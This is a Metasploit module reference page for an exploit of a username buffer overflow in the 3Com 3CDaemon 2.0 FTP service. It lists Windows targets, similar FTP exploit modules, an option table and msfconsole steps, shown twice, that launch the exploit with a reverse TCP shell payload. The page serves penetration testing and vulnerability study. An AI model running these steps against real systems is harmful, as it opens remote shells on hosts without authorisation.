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3Com 3CDaemon 2.0 FTP Username Overflow
This module exploits a vulnerability in the 3Com 3CDaemon FTP service. This package is being distributed from the 3Com web site and is recommended in numerous support documents. This module uses the USER command to trigger the overflow.
Rank
- Average
Authors
- hdm < hdm [at] metasploit.com >
References
Exploit Targets
- 0 - Windows 2000 English
- 1 - Windows XP English SP0/SP1
- 2 - Windows NT 4.0 SP4/SP5/SP6
- 3 - Windows 2000 Pro SP4 French
Development
Similar Modules
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/ability_server_stor
- exploit/windows/ftp/absolute_ftp_list_bof
- exploit/windows/ftp/cesarftp_mkd
- exploit/windows/ftp/dreamftp_format
- exploit/windows/ftp/easyfilesharing_pass
- exploit/windows/ftp/easyftp_cwd_fixret
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- exploit/windows/ftp/easyftp_mkd_fixret
Usage Information
$ msfconsole
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msf > use exploit/windows/ftp/3cdaemon_ftp_user
msf exploit(3cdaemon_ftp_user) > show payloads
msf exploit(3cdaemon_ftp_user) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(3cdaemon_ftp_user) > set LHOST [MY IP ADDRESS]
msf exploit(3cdaemon_ftp_user) > set RHOST [TARGET IP]
msf exploit(3cdaemon_ftp_user) > show targets
msf exploit(3cdaemon_ftp_user) > set TARGET [TARGET ID]
msf exploit(3cdaemon_ftp_user) > exploit
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msf > use exploit/windows/ftp/3cdaemon_ftp_user
msf exploit(3cdaemon_ftp_user) > show payloads
msf exploit(3cdaemon_ftp_user) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(3cdaemon_ftp_user) > set LHOST [MY IP ADDRESS]
msf exploit(3cdaemon_ftp_user) > set RHOST [TARGET IP]
msf exploit(3cdaemon_ftp_user) > show targets
msf exploit(3cdaemon_ftp_user) > set TARGET [TARGET ID]
msf exploit(3cdaemon_ftp_user) > exploit
Module Options
| FTPPASS | The password for the specified username (default: mozilla@example.com) |
| FTPUSER | The username to authenticate as (default: anonymous) |
| RHOST | The target address |
| RPORT | The target port (default: 21) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| FTPDEBUG | Whether or not to print verbose debug statements |
| FTPTimeout | The number of seconds to wait for a reply from an FTP command |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |